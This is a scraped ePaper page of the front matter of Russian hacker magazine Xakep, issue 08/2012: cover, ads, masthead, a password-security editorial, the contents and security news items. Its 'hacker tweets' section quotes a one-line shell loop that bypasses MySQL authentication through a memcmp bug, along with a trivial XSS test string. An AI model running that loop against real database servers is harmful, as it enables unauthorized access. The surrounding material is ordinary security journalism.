13.07.2015 Views

ХАКЕРСКИЙ ЧЕМОДАНЧИК

ХАКЕРСКИЙ ЧЕМОДАНЧИК

ХАКЕРСКИЙ ЧЕМОДАНЧИК

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

ИНТЕРВЬЮ С КРИСОМ КАСПЕРСКИ026ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВWWW.XAKEP.RU08 (163) 2012 МИНИ-КОМПЬЮТЕР ЗА 35 $Стоп-вирус:избавляемся от заразыбез антивируса018РЕКОМЕНДОВАННАЯЦЕНА: 230 р.ХАКЕРСКИЙЧЕМОДАНЧИК14 НЕОБЫЧНЫХ ГАДЖЕТОВ, КОТОРЫЕ РЕАЛЬНОИСПОЛЬЗУЮТСЯ ДЛЯ ПРОНИКНОВЕНИЯВ ИНФОРМАЦИОННЫЕ СИСТЕМЫ054 059 114СПУФИНГ,КОТОРЫЙРАБОТАЕТНЕ ВСЕ PHPОДИНАКОВОПОЛЕЗНЫТАК ЛИХОРОШ НОВЫЙLINUX MINT?


© ЗАО «Лаборатория Касперского», 2012. Зарегистрированные товарные знаки и знаки обслуживания являются собственностью их правообладателей.Я хочу быть уверен, что мои логины и пароли, музыка и документыв безопасности. Вот почему я установил Kaspersky Internet Security.www.kaspersky.ruРеклама


РЕДАКЦИЯГлавный редакторВыпускающий редакторРедакторы рубрикPC_ZONE и UNITSВЗЛОМUNIXOID и SYN/ACKMALWARE и КОДИНГЛитературный редакторPR-менеджерDVDВыпускающий редакторUnix-разделSecurity-разделМонтаж видеоARTАрт-директорДизайнерВерстальщикБилд-редакторИллюстрация на обложкеСтепан «step» Ильин (step@real.xakep.ru)Николай «gorl» Андреев (gorlum@real.xakep.ru)Степан «step» Ильин (step@real.xakep.ru)Юрий Гольцев (goltsev@real.xakep.ru)Андрей «Andrushock» Матвеев (andrushock@real.xakep.ru)Александр «Dr. Klouniz» Лозовский (alexander@real.xakep.ru)Евгения ШариповаЛюдмила Вагизова (vagizova@glc.ru)Антон «ant» Жуков (ant@real.xakep.ru)Андрей «Andrushock» Матвеев (andrushock@real.xakep.ru)Дмитрий «D1g1» Евдокимов (evdokimovds@gmail.com)Максим ТрубицынАлик Вайнер (alik@glc.ru)Егор ПономаревВера СветлыхЕлена БедноваАнтон Бессонов (bessonovart.ru)PUBLISHINGУчредитель ООО «Гейм Лэнд», 115280, Москва,ул. Ленинская Слобода,19, Омега плаза, 5 этаж, офис № 21. Тел.: (495) 935-7034, факс: (495) 545-0906Генеральный директорФинансовый директорДиректор по маркетингуУправляющий арт-директорГлавный дизайнерДиректор по производствуДмитрий АгаруновАндрей ФатеркинЕлена КаркашадзеАлик ВайнерЭнди ТернбуллНаталья Штельмаченкоазговаривая с друзьями и коллегами о персональнойбезопасности в интернете, я регулярно выясняю, чтоРиспользуют они на всех сервисах одинаковые пароли (ну,или с минимальными изменениями), что пароли их — это не слишкомсложный набор букв и цифр, который легко запомнить, и оченьчасто — что их так или иначе взламывали. У кого-то с вконтактикалился спам, у кого-то в почте была подозрительная активность,а кто-то даже лишился своих кровных Яндекс.Денег. И это неудивительно.Использование одинаковых слабых паролей в совокупностис халатностью (или недобросовестностью) разработчиковвеб-сервисов дают неутешительный результат.Вот, например, недавно в паблике всплывали базы LinkedInи Last.fm. В первой для хранения паролей использовалась хешфункцияSHA1 без соли, во второй MD5 тоже без соли (спасибо,что не plaintext). Эти хеши, да еще и без соли, брутятся с использованиемGPU или радужных таблиц с невероятной, просточудовищной скоростью. С приличными словарями и хорошейвидеокартой хакер за недельку или две легко получит процентов70–80 всех паролей пользователей этих многомиллионных сервисов.И эти же пароли он сможет использовать для доступа к другимсервисам пользователя, будь то почта или что-то более ценное —ведь чаще всего пароли одинаковые!И это только пара баз, которые по чьей-то глупости засветились.Представляешь, сколько у хакеров информации, о которойони предпочитают не болтать на форумах? По такому принципумогут взломать любого, кто не заморочится адекватной парольнойполитикой — длинные, сложные, а главное, разные пароли.Надеяться на разработчиков сервисов бесполезно. Вряд ли послепары взломов все резко будут перехешировать уже имеющиесяслабые хеши с помощью bcrypt или PBKDF2 c кучей итераций.Поэтому просто рекомендую задуматься о своих паролях.gorl,вып. ред. ХP. S. За 11 лет работы в журнале это мое первое Intro… и последнее.Я покидаю журнал, чтобы всерьез заняться программированием.Всегда любил это дело ;).РАЗМЕЩЕНИЕ РЕКЛАМЫТел.: (495) 935-7034, факс: (495) 545-0906РЕКЛАМНЫЙ ОТДЕЛЗаместитель генеральногодиректора по продажамДиректор группы TECHNOLOGYДиректор по рекламеСтарший менеджерМенеджерДиректор группы CORPORATEСтарший трафик-менеджерЗинаида Чередниченко (zinaidach@glc.ru)Марина Филатова (filatova@glc.ru)Елена Поликарпова (polikarpova@glc.ru)Светлана Мельникова (melnikova@glc.ru)Дмитрий Качурин (kachurin@glc.ru)(работа с рекламными агентствами)Кристина Татаренкова (tatarenkova@glc.ru)Марья Буланова (bulanova@glc.ru)ОТДЕЛ РЕАЛИЗАЦИИ СПЕЦПРОЕКТОВДиректорАлександр Коренфельд (korenfeld@glc.ru)РАСПРОСТРАНЕНИЕДиректор по дистрибуцииРуководитель отдела подпискиРуководительспецраспространенияТатьяна Кошелева (kosheleva@glc.ru)Виктория Клепикова (lepikova@glc.ru)Наталья Лукичева (lukicheva@glc.ru)Претензии и дополнительная инфа:В случае возникновения вопросов по качеству печати и DVD-дисков: claim@glc.ru.Горячая линия по подпискеФакс для отправки купонов и квитанций на новые подписки: (495) 545-09-06Телефон отдела подписки для жителей Москвы: (495) 663-82-77Телефон для жителей регионов и для звонков с мобильных телефонов: 8-800-200-3-999Для писем: 101000, Москва, Главпочтамт, а/я 652, ХакерЗарегистрировано в Министерстве Российской Федерации по делам печати, телерадиовещаниюи средствам массовых коммуникаций ПИ Я 77-11802 от 14.02.2002.Отпечатано в типографии Scanweb, Финляндия. Тираж 218 500 экземпляров.Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номерепредоставляются как информация к размышлению. Лица, использующие данную информациюв противозаконных целях, могут быть привлечены к ответственности. Редакция не несет ответственностиза содержание рекламных объявлений в номере.За перепечатку наших материалов безспроса — преследуем.По вопросам лицензирования и получения прав на использование редакционных материаловжурнала обращайтесь по адресу: content@glc.ru.© ООО «Гейм Лэнд», РФ, 2012


ContentHEADER012ДАННЫЕ С КРЕДИТНЫХ КАРТ,ОСНАЩЕННЫХ БЕСПРОВОДНЫМЧИПОМ NFC, ЛЕГКО СЧИТЫВАЮТСЯДАЖЕ ПРИЛОЖЕНИЕМ ДЛЯ ANDROID.ДОКАЗАНО НА ПРАКТИКЕ.004 MEGANEWSВсе новое за последний месяц011 hacker tweetsХак-сцена в твиттере016 Колонка Стёпы ИльинаКак прототип приложения помогает доказать состоятельность идеи017 Proof-of-conceptЗащищаем сессию с помощью одноразовых токеновCOVERSTORY026КрисКасперскиИнтервью с удивительнымчеловеком, автором ][и одним из известнейшихспецов в области ИТCOVERSTORY018Чемоданчик хакера14 гаджетов для исследования безопасности


038 114PCZONE032 Бескорыстные помощники15 замечательных бесплатных утилитдля Windows-администратора, которые незаслуженнонаходятся в тени038 Макси-гайд по мини-компамВыбираем между Raspberry Pi, Cotton Candy, CuBox,PandaBoard, Trim-Slice и AllWinner A10ВЗЛОМ044 Easy-HackХакерские секреты простых вещей050 Обзор эксплоитовАнализ свеженьких уязвимостей054 Не верь своим глазамАктуальные методы спуфинга в наши дни059 Не все PHP одинаково полезныУязвимости альтернативных реализаций PHP064 Ядовитая оберткаКак врапперы PHP могут быть использованыдля атаки на веб-приложения068 X-Tools7 утилит для исследователей безопасностиMALWARE070 На малварь без антивирусаЧто делать, если его базы еще не успели обновиться?078 Махмуд, поджигай!Flamer — самая сложная вирусная угрозапоследнего времениКОДИНГ084 Рецепты для Windows Phone 7.5Семь показательных примеров программированияпод мобильную винду090 Хардкорный путь к производительностиДостигаем феноменальной скорости на примерешифрования ГОСТ 28147—89096 Задачи на собеседованияхПодборка интересных заданий, которые даютна собеседованиях098 Дарт СветлоликийНовый язык программирования от корпорации добра:выстрелит или нет?АКАДЕМИЯ102 Школа Highload. Урок №2Маштабирование фронтендовUNIXOID108 Автостопом по лабиринтам ядраИстория ключевых изменений в ядре Linuxс версии 3.0 по 3.4114 Покорение вершиныОбзор Linux Mint 13 «Maya»120 Когда невозможное возможноИнтервью с Дмитрием Гринбергом, которому удалосьзапустить Ubuntu Linux на 8-битном микроконтроллереSYN/ACK124 Новая порода почтарейОбзор популярных решений для быстрого развертыванияпочтового сервера128 Контроль в свободном потокеСобираем статистику при помощи NetFlowFERRUM132 Be quick or be deadТестирование твердотельных накопителейс интерфейсом SATA 3.0138 Подходи, налетай, Z77 выбирай!Тестирование материнской платы GIGABYTE G1.Sniper 3ЮНИТЫ140 FAQ UNITEDБольшой FAQ143 Диско8,5 Гб всякой всячины144 WWW2Удобные web-сервисы


MEGANEWSВ ПРОШЛОМ ГОДУ ОБЪЕМ ФРОДОВЫХтранзакций через ДБО вырос на 40%,сообщает Центральный банк РоссийскойФедерации.ЕЩЕ ОДИН ТРОЯНПРОПИСЫВАЕТСЯ В BIOSМАЛВАРЬ НЕ СТОИТ НА МЕСТЕще осенью прошлого года китайская антивирусная компанияобнаружила троянец Mebromi, который внедряетсяЕв BIOS (Award BIOS), где потом и скрывается от антивирусногоПО. При помощи запускаемого из командной строки CBROM троянвнедряет свои процедуры в BIOS. При следующей загрузке системыBIOS уже добавляет дополнительный код к главной загрузочнойзаписи (MBR) жесткого диска, чтобы инфицировать процессыwinlogon.exe и winnt.exe на Windows XP и 2000/2003 перед загрузкойсистемы. При следующем запуске ОС вредонос скачивает руткитдля предотвращения очистки MBR жесткого диска антивируснымсканером. Но даже если жесткий диск будет очищен, вся процедураинфицирования повторится при следующей загрузке BIOS. Mebromiможет «выжить» даже при смене жесткого диска! Если компьютер неиспользует Award BIOS, вирус просто инфицирует MBR.В этом месяце компания McAfee сообщила, что обнаружен ещеодин похожий вредонос — Niwa!mem. Новый троян действуетпримерно таким же способом, что и Mebromi, переписывая MBRи помещая в системе библиотеку DLL, которая содержит cbrom.exe и поражает Award BIOS. Эксперты полагают: с выходом второгоэкземпляра можно ожидать, что запись вредоносного кода в BIOSстанет обычным делом для малвари.Специалистысчитают: новыйтроян Niwa!memможет быть написантеми же авторами,что и Mebromi, ведьмногие строки кодавредоносов выглядятпрактическиидентично.НАШИ В GOOGLE CODE JAMУСПЕХИ РОССИЙСКИХ ПРОГРАММИСТОВ НА ПОПУЛЯРНОМСОРЕВНОВАНИИконтесте Google Code Jam мы писали уже не раз, но навсякий случай напомним: этот международный программерскийчемпионат проводится компанией Google с 2003 года.ОЧемпионат был учрежден с целью выявления лучших умов планеты(чтобы потом переманить их работать в Google, да-да :)). Соревнованиесостоит из набора алгоритмических задач, которые должныбыть решены за фиксированное время. В отличие от большинствасоревнований по программированию, здесь участники могут использоватьдля решения задач любой язык программирования и средуразработки. Недавно завершился третий раунд Google Code Jam 2012,в который из десятков тысяч претендентов вышли лишь 500 лучших.В ходе третьего раунда были определены 25 победителей, которыхуже пригласят в Нью-Йорк для участия в очном финале. Интересно,что в этом году конкурс прошел при абсолютном доминированиироссийских программистов, шесть из которых продвинулись в финал:EgorKulikov, eatmore, andrewzta, Burunduk1, vepifanov и Dlougach.Также в финал вышли гражданин Беларуси Геннадий Короткевичи два украинца — Vasyl и sdya. Дата и место финального очного раунда(тире) 27 июля, нью-йоркский офис Google.КАЖДЫЙ ТРЕТИЙ РЕКЛАМ-НЫЙ БЛОК в бесплатныхрусских версиях Angry Birdsведет на вредоносный файл,подсчитали аналитики «ЛабораторииКасперского».PAYPAL БУДЕТ ВЫПЛАЧИ-ВАТЬ ДЕНЬГИ ЗА УЯЗВИМО-СТИ. Компанию интересуютдырки XSS, CSRF, SQLinjection и различные методыобхода штатной системыаутентификации.СТОИМОСТЬ ПРОДВИЖЕНИЯСАЙТА — от ста рублей донескольких миллионов.Вывести в ТОП запрос «секс»стоит 35 000 рублей, а «порно»— 76 000 рублей (поданным сервиса rookee.ru).MICROSOFT ИСКЛЮЧИЛАHTC ИЗ СПИСКА КОМПАНИЙ,которые смогут выпускатьARM-планшеты на грядущейWindows 8. Причины такогорешения неизвестны.23 САЙТА ИЗ 100 САМЫХПОСЕЩАЕМЫХ РЕСУРСОВВ ИНТЕРНЕТЕ принадлежаткомпании Google. Причинойтому множество локализованныхверсий Google.004ХАКЕР 08 /163/ 2012


Реклама


MEGANEWSДОХОДЫ ОТ ПРОДАЖ HDD БЬЮТ ВСЕ РЕКОРДЫ: в первом квартале этого года сумма составила 9,6 миллиарда долларов.ТРОЛОЛО НЕ ПРОЙДЕТ!«ЛАБОРАТОРИЯ КАСПЕРСКОГО» ВЫИГРАЛА СУД У ПАТЕНТНОГО ТРОЛЛЯказывается, проблемы с патентными троллями хорошо знакомы нетолько западным компаниям. Недавно Евгений Касперский опубликовалв своем блоге пост (eugene.kaspersky.ru/2012/06/26/kill-the-troll),Ов котором подробно описал, как «Лаборатория Касперского» боролась с патентнымтроллем. Суть такова: некая американская компания IPAT обвинялаЛК в нарушении двух своих патентов. IPAT — классические патентные тролли.В 2008 году компания подала два патентных иска против «Лаборатории Касперского»и еще 34 компаний, среди которых были Symantec, Sophos, McAfee,F-Secure, CA, Trend Micro, Novell, Eset, Microsoft и другие. Компания обвинилаответчиков в нарушении патентов, которые описывают способы ограничениязапуска компьютерных программ. Упомянутые в иске патенты США 5,311,591и 5,412,717 были получены в середине 90-х годов изобретателем Эдисоном Фишером,а затем выкуплены у него компанией IPAT. «Лаборатории Касперского»потребовалось немало времени и сил, чтобы отстоять свою правоту, но в итогевсе закончилось хорошо. «Суд Восточного Округа Техас вынес решение по искукомпании IPAT и полностью снял с нас все обвинения. Что важно — с пометкойWITH PREJUDICE, то есть IPAT больше не сможет подать иск по этим патентамснова!» — пишет Евгений Касперский. Рекомендуем ознакомиться с вышеупомянутымпостом и полной версией событий, потому что история вышла весьмазанимательная :).APPLE ОСОЗНАЛА ПРОБЛЕМЫ С БЕЗОПАСНОСТЬЮ В MAC OS XKaspersky Labпотребовалось3,5 года работыи 2,5 миллиона доллароврасходов,чтобы выигратьдело. Другие производителиантивирусоввыплатилиIPAT от несколькихдесятков тысяч донескольких миллионовдолларов.ИЗ ОПИСАНИЯ MAC OS ИСЧЕЗЛИВСЕ ЗАЯВЛЕНИЯ О ТОМ, ЧТОMAC OS X НЕ ПОДВЕРЖЕНАВИРУСАМ, ВРОДЕ «DOESN’TGET PC VIRUSES»SIRI СЛЕДИТ ЗА ТОБОЙПОМОЩНИК SIRI ХРАНИТ ГОЛОСОВЫЕ ОТПЕЧАТКИЛЮДЕЙОтпечаток голоса — такая же уникальная биологическаяметка человека, как и отпечатокпальца, точность распознавания человека у нихвполне сравнима. Именно поэтому у экспертов вызываютбеспокойство методы работы программы Siri, котораяустановлена на мобильных телефонах iPhone и планшетахiPad. Дело в том, что распознавание голоса программойSiri осуществляется непосредственно на серверах компанииApple, то есть фрагменты с записью голоса передаютсятуда через интернет и хранятся на серверах. Здесь возникаетсразу несколько проблем. Во-первых, компанияApple не говорит, как долго хранятся аудиозаписи и какиетехнологии используются для защиты этой информации.Во-вторых, в этих аудиофрагментах может присутствоватьперсональная информация — мало ли какие вопросыпользователь задает своему телефону, ведь зачастуючеловек не подозревает, что его слова записываютсяи отправляются на удаленный сервер, где помещаютсяв базу данных. Но самая главная угроза заключается в том,что голос человека является его уникальным идентификатором,который практически безошибочно позволяетвыявить его среди миллиона телефонных разговоровв эфире. На этом принципе основаны системы сквозногопрослушивания эфира «Эшелон» и другие. Таким образом,компания Apple владеет базой уникальных идентификаторов,с помощью которых можно осуществлять глобальнуюслежку за пользователями. И если сама компанияApple этим не собирается заниматься, то база цифровыхотпечатков может быть полезна злоумышленнику, которыйспособен получить к ней доступ на серверах Apple илиперехватив трафик между клиентским приложением Siriи сервером.«Наверное, все, что может вас идентифицировать,должно оставаться на телефоне», — говорит Прем Натараян(Prem Natarajan), исполнительный вице-президенткорпорации Raytheon BBN Technologies (Кембридж),которая выполняет научно-исследовательские работыпо заказу Пентагона и является крупнейшим в мирецентром по разработке систем идентификации человекапо голосу. По его словам, со стороны Apple было бы болееграмотным решением производить первичную обработкуголоса на телефоне и передавать только эту информацию,а не сами нетронутые аудиозаписи. Специалист считает,что качество распознавания голоса от этого совершенноне пострадает, а компания Apple поступает иначе,исключительно чтобы снизить нагрузку на CPU телефонаи сэкономить заряд аккумулятора. В ответ на этиопасения представители компании Apple заверили, чтоаудиозаписи с голосом пользователя передаются черезинтернет в зашифрованном виде и хранятся на серверахбез привязки к другим пользовательским данным,которые скачивает Siri, в том числе контакт-лист, GPSкоординатыпользователя, список его песен и так далее.006ХАКЕР 08 /163/ 2012


Реклама


MEGANEWSПРИЯТНАЯ СТАТИСТИКА ОТ MCAFEE: антивирусная защита с актуальными базами стоит на 83% компьютеров в мире.GOOGLE ЗА СВОБОДУ В СЕТИКОРПОРАЦИЯ ДОБРА БУДЕТ ИНФОРМИРОВАТЬЮЗЕРОВ О СЛЕЖКЕ СО СТОРОНЫ ВЛАСТЕЙБРЮС ШНАЙЕРКРИТИКУЕТ ТОРГОВЛЮУЯЗВИМОСТЯМИЧЕРНЫЙ РЫНОК ПОДТАЛКИВАЕТПРОГРАММИСТОВ К САБОТАЖУесной текущего года Сергей Брин заявил в интервьюгазете Guardian, что Всемирная сеть в нашиВдни столкнулась с самыми серьезными угрозамиза всю историю своего существования. Угрозы исходятс нескольких сторон: это и государственная цензура, котораяв разных странах пытается ограничить доступ своихграждан к информации и всячески ущемить их права; этои корпоративная политика компаний Facebook и Apple, направленнаяна создание изолированных фрагментов Сети;это и медиабизнес в его попытках бороться с пиратством.Действительно, уже известно множество случаев, когдаспецслужбы авторитарных стран ведут слежку за гражданами,получив доступ к их почтовым ящикам, аккаунтамв социальных сетях и через параллельные инстансыSkype. Google счел своим долгом защитить свободуи приватность граждан: теперь компания предупреждаетпользователей о возможных попытках компрометацииаккаунта со стороны государственных служб. Пользователям,которые увидели такое сообщение, рекомендуетсянемедленно сменить пароль на сложную комбинацию прописных/строчныхбукв, цифр и знаков пунктуации, включитьдвухфакторную верификацию с подтверждением SMSна мобильном телефоне, обновить браузер, операционнуюсистему и плагины, внимательно проверять URL в адреснойстроке при авторизации в Google.Неясно, по какимпризнакам Googleраспознает «государственный»источник атакина пользователя(эта информациясекретна).Но предупрежденияякобы основанына «детальноманализе» и сведениях,полученныхот реальных жертвгосударственнойслежки.риптограф, писатель и специалист в области ИББрюс Шнайер в последнем номере своей ежемесячнойрассылки Crypto-Gram резко раскрити-Кковал деятельность компаний, занимающихся куплейпродажейэксплойтов, — Vupen, Netragard и других.Предыстория такова: пару месяцев назад журнал Forbsопубликовал статью, в которой приводился своеобразныйпрайс-лист на уязвимости (обычно такие вещи не озвучиваютсяширокой публике). Согласно информации Forbs,которую потом подтвердили сведущие люди, цена некоторыхдыр может доходить до 250 тысяч долларов. Шнайерпишет, что вначале даже не поверил, что эти цены реальны,но рынок в самом деле очень изменился за последниегоды. Даже если сравнивать ситуацию с 2010 годом.Брюс Шнайер всегда был уверен, что поиск уязвимостейповышает общую безопасность, поскольку поощряетпубликацию информации в открытом доступе, однаконовые реалии рынка совершенно меняют дело. Никто начерном рынке вообще не заинтересован в закрытии уязвимостей.Плюс у программистов в Microsoft, Google и такдалее появился стимул оставлять ошибки в коде, а потомтайно продавать их государственным агентствам. Именнопоэтому наличие черного рынка эксплойтов опасно длявсех. Брюс Шнайер утверждает, что ни одна софтвернаякомпания в мире не обладает настолько надежной системойревизии кода, чтобы выявлять подобный саботаж:найти ошибку и доказать злой умысел.АВТОР СИСТЕМЫ ХЕШИРОВАНИЯПАРОЛЕЙ MD5CRYPT Пол-ХенингКамп признал, что данныйалгоритм более нельзя считатьбезопасным. Поводом для этогозаявления послужили недавниеутечки миллионов хешей паролейсайтов LinkedIn, eHarmonyи Last.fm. Крупным сайтам(больше 50 тысяч аккаунтов)Пол-Хенинг Камп рекомендовалиспользовать модифицированныйалгоритм, базирующийся настойких хешах, таких как SHA.FACEBOOK В БЛИЖАЙШЕМБУДУЩЕМ ПЛАНИРУЕТ ВЫ-ПУСК СОБСТВЕННОГО СМАРТ-ФОНА, работа над которымуже началась, по информацииисточников The New YorkTimes.СОВСЕМ НЕДАВНО МЫПИСАЛИ ОБ ИНИЦИАТИВЕ DONOT TRACK, и вот еще свежиеновости: Microsoft объявила,что в IE 10 опция DNT будетвключена по умолчанию.008ХАКЕР 08 /163/ 2012


MEGANEWSВ ИСПОЛЬЗОВАНИИ НЕЛИЦЕНЗИОННОГО ПО ПРИЗНАЛИСЬ 57% РЕСПОНДЕНТОВ, сообщается в отчете Business Software Alliance.ЛИНУС ТОРВАЛЬДС О WINDOWS 8 SECURE BOOTСОЗДАТЕЛЬ LINUX ПРОКОММЕНТИРОВАЛ НЕПРОСТУЮ СИТУАЦИЮак мы уже рассказывали, многие поклонникиLinux в последнее время всерьез обеспокоеныКтем, что технология «безопасной загрузки»(Secure Boot) в новой Windows 8 затруднит загрузку ихлюбимой операционной системы на компьютерах с интерфейсомUEFI. Напомним, что на компьютерах новогопоколения, поставляющихся с Windows 8, Secure Bootбудет включена по умолчанию, и устанавливаемое наних ПО должно будет иметь сертификаты безопасностиот Microsoft или OEM-дилеров аппаратного обеспечения.Secure Boot, конечно же, позиционируется кактехнология безопасности, призванная устранить угрозузаражения компьютера вредоносным ПО еще до загрузкисистемы и антивирусной защиты. Прежде чем запуститьтот или иной программный компонент, UEFI проверяетналичие сертификата безопасности и блокирует загрузкулюбого ПО, у которого надлежащие ключи отсутствуют.Данный шаг Microsoft вызвал резкий протест со стороныOpen Source сообщества, так как на этих условияхв категорию «неподписанного» ПО, наравне с вирусами,попадают и загрузчики альтернативных ОС. Недавностало известно, что Fedora и Red Hat заключили сделкис Microsoft, чтобы обеспечить запуск своих дистрибутивовна оборудовании, лицензированном для Windows 8.Естественно, такие новости не могут радовать. Однакосам Линус Торвальдс считает, что страхи вообще сильнопреувеличены. В интервью ZDNet Линус сказал, что невидит здесь особой проблемы. Чтобы зарегистрироватьбинарник для запуска на UEFI-компьютере, нужно оформитьсертификат Verisign стоимостью 99 долларов.Пожалуй, нужно процитировать самого Торвальдса:«Я определенно не большой фанат UEFI, но в то жевремя я понимаю, зачем пользователю может понадобитьсязагрузка с проверкой цифровых подписейи так далее. И если получить ключ для Fedora стоитвсего 99 долларов, я не вижу здесь никакой серьезнойпроблемы». Некоторые фанаты Linux говорят, что этопохоже на сделку с дьяволом, ведь Linux-дистрибутивбудет подписан ключом от Microsoft, а Fedora называется«продажной» компанией, поскольку пошла натакую сделку. Продвинутые разработчики добавляютк этим возражениям еще один аргумент: ведь они несмогут без головной боли запустить свой собственныйуникальный дистрибутив Linux. «Да, да, все пропало, —комментирует Линус, — и я должен бегать в панике, какобезглавленный цыпленок, в отчаянии из-за ключейцифровой подписи. Но если вы можете отключить проверкуключей, чтобы разработчики ядра делали своюработу, то подписанные бинарники на самом деле могутбыть (маленькой) частью хорошей системы безопасности.Я допускаю, что и сам поставлю свой собственныйключ на машину, которая это поддерживает». Торвальдсне верит, что система Windows 8 UEFI действительноувеличит безопасность пользователей: «Настоящаяпроблема, как мне кажется, заключается в том, чтоумный хакер может решить вопрос с ключами, раздобывключ (как много из этих приватных ключей на самомделе остаются приватными?) либо воспользовавшисьуязвимостями в подписанном программном обеспечении,и тогда ему вообще не понадобится ключ».Unified Extensible FirmwareInterface (UEFI) — интерфейсмежду ОС и микропрограммами,управляющими низкоуровневымифункциями оборудования. Выступаетв качестве замены BIOS, егоосновное предназначение — корректноинициализировать оборудованиепри включении системыи передать управление загрузчикуоперационной системы.ПРОШЕЛ ФОРУМ ПО ПРАКТИЧЕСКОЙ ИБ POSITIVE HACK DAYS 2012В ХОДЕ СОРЕВНОВАНИЙХАКЕРЫ СУМЕЛИВЗЛОМАТЬ IPHONE4S, НАШЛИ 0-DAYВ WINDOWS XPИ ОБНАРУЖИЛИ НОВУЮДЫРКУ В FREEBSD010ХАКЕР 08 /163/ 2012


Алексей Синцов#hacker tweets@mihi42: #java#jaxp #DoS CVE-2012-1724 https://t.co/PguomymA @Agarri_FRКомментарий:Эксплойт в один твит. Собственно,в Java до версии 7 Update 5 и 6 Update 33была возможность атаки отказа в обслуживаниипутем организации бесконечного цикла.@cBekrar:MS должны предложить500 000 долларов тем исследователям,которые смогут обойти#BlueHatPrize anti-ROP, до того как тратитьмиллионы на добавление фичи, котораяможет слажать.@0xcharlie:Ачивка выполнена, БрюсШнайер знает о моем существовании:t.co/2SGIJ8oU.Комментарий:Брюс разродился блог-постом на темувреда от существующего рынка эксплойтов.А что еще он может сделать?@sanjar_satsura:... Даже больше скажу, я предсказалвозможности коллизийсертификатов, которые спуфилFlame, практически за шесть месяцев доинцидента. Читай ][Комментарий:Читайте ][! Будете в тренде! Впередивсяких антивирусников :)@andreybelenko:Итак, подтверждена поддержкаASLR в ядре iOS 6.@hdmoore:В одну линию: $ for i in `seq 1512`; do echo 'select @@version;'| mysql -h 127.0.0.1 -u root mysql--password=X 2>/dev/null && break; doneКомментарий:Продолжаем тему эксплойтов, помещающихсяв один твит. На этот раз угарнаяуязвимость в MySQL как результат непредсказуемогозначения функции сравнения —memcmp(). Результат — обход аутентификациив MySQL. Подробнее — goo.gl/EtbCO.Комментарий:Microsoft уже определила финалистовконкурса BlueHatPrize. Напомню, что компанияпообещала 250 000 долларов тому,кто предложит новую защитную методику отзлобных эксплойтов.@mikko:Забавный факт дня: вы знаете,что означает аббревиатура«DCIM» на всех модулях памятидля цифровых камер? «DCIM» стандартно:«Digital Camera IMages».таскбаре.@crypt0ad:Иногда я забываю, что запустилcalc.exe, и тогда я реальноволнуюсь, замечая его на моем@esizkur:Сравнил эти инновации с тем,что было в PaX более десятилет назад: все эти BlueHat идеивыглядят слабо.Комментарий:В продолжение темы критики конкурсаBlueHatPrize.@justinelze:Люблю наш свадебный сайт,в пункте «Оставьте Вашимузыкальные предпочтения»alert(«test») кажется самой популярнойпесней.@homakov:Я никогда не говорю «Вау»,когда вижу CSRF-уязвимостьна сайте, сделанном PHPпрограммистами.Наоборот — я говорю«Вау», если вижу защиту от CSRF-атак там.#php@taosecurity:Официальные лица Китая илиРоссии, возможно, относятсяк Microsoft и другим крупнымвендорам так же, как США к Huawei.«Reverse mirroring;» — они не доверяютнам тоже.@DEVOPS_BORAT:За каждую минуту, которую тытратишь на установку пакетовиз сорцов, твоя жизнь становитсякороче на две минуты.@opexxx:select * from LastFm wherehash=md5('yourpassword')Комментарий:Этот месяц богат на утечки хешей: LinkedIn,Last.fm и другие...ХАКЕР 08 /163/ 2012 011


DROPBOX НАЧАЛ БЛОКИРОВАТЬ ПУБЛИЧНЫЕ ССЫЛКИ НА ФАЙЛЫ, содержащие нарушающий авторские права контент.ПРИБАВЛЕНИЕ В СЕМЕЙСТВЕIVY BRIDGEВНЕДРЕНИЕ IPV6 ИДЕТО НОВОМ ПРОТОКОЛЕ И СОПРЯЖЕННЫХ ТРУДНОСТЯХINTEL ПРЕДСТАВИЛА ДВУХЪЯДЕРНЫЕ И ULV-ЧИПЫНа процессорахIvy Bridge будетвыпущено 110ультрабуков. Изних тридцать получатсенсорныйэкран, а ещедесять будут «гибридами»— смогутпревращатьсяиз ноутбукав планшет.конце апреля корпорация Intel презентовала первую волну процессоровIvy Bridge, куда вошли четырехъядерные процессоры,Ва теперь очередь дошла и до второй волны. Intel представила сразучетырнадцать двухъядерных процессоров Ivy Bridge. Шесть из них предназначеныдля десктопных решений, а остальные восемь — для компактныхноутбуков и ультрабуков. Из этих восьми половина имеют сверхнизкоеэнергопотребление и обозначаются маркировкой «U». Поставки процессоровиз семейств Core i5 и Core i7 начались сразу после анонса (31 мая).Процессоры Core i3 станут доступны позднее. Процессоры из поколения IvyBridge выпускаются по 22-нанометровому техпроцессу. Они используют туже микроархитектуру, что чипы предыдущего поколения (Sandy Bridge), ноотличаются от предшественников большей производительностью и меньшимиэнергозатратами.Также Intel, являющаяся автором концепции ультрабуков, немногопереформулировала свои требования к этим устройствам. Компания полагает,что современный ультрабук должен иметь скоростные порты USB3.0 либо Thunderbolt и располагать встроенными средствами обеспечениябезопасности. Ряд требований носит не обязательный, а рекомендательныйхарактер. К примеру, желательно, чтобы ультрабук работал от батареине менее восьми часов, а также мог загружать обновления, находясьв спящем режиме.ЕВГЕНИЙ КАСПЕРСКИЙ О НОВОМ ТРОЯНЕ FLAME«Я БОЮСЬ, ЧТО ЭТО ТОЛЬКОНАЧАЛО ИГРЫ, И ОЧЕНЬСКОРО МНОЖЕСТВО СТРАНПО ВСЕМУ МИРУ В ЭТОМУБЕДЯТСЯ»Прошел второй всемирный день запуска IPv6,который был назначен на 6 июня 2012 года и состоялся,как и было запланировано. Организаторыакции хотели еще раз привлечь внимание мировогосообщества к проблеме нехватки адресного пространствав текущей версии протокола IPv4, которая может адресоватьтолько 3,7 миллиарда узлов. Большинство крупныхинтернет-порталов с 6 июня стали работать с использованиемпротокола IPv6. Напомним, что новый стандартIP-протокола поддерживает значительно большуюадресацию, что позволяет подключить к Сети в миллионыраз больше устройств. Возможности протокола IPv4,используемого сейчас, уже практически исчерпаны, егоадресное пространство уже распределено между провайдерами.У IPv6 значительно расширен адресный ресурс,что позволит на ближайшие десятилетия не беспокоитьсяо нехватке интернет-адресов. В Google, Yahoo и Facebookговорят, что их порталы уже сейчас доступны в адресномпространстве IPv6, однако они также доступны и в пространствеIPv4.О своей поддержке акции по «настоящему» переходуна IPv6 заявили компании Google, Yahoo, 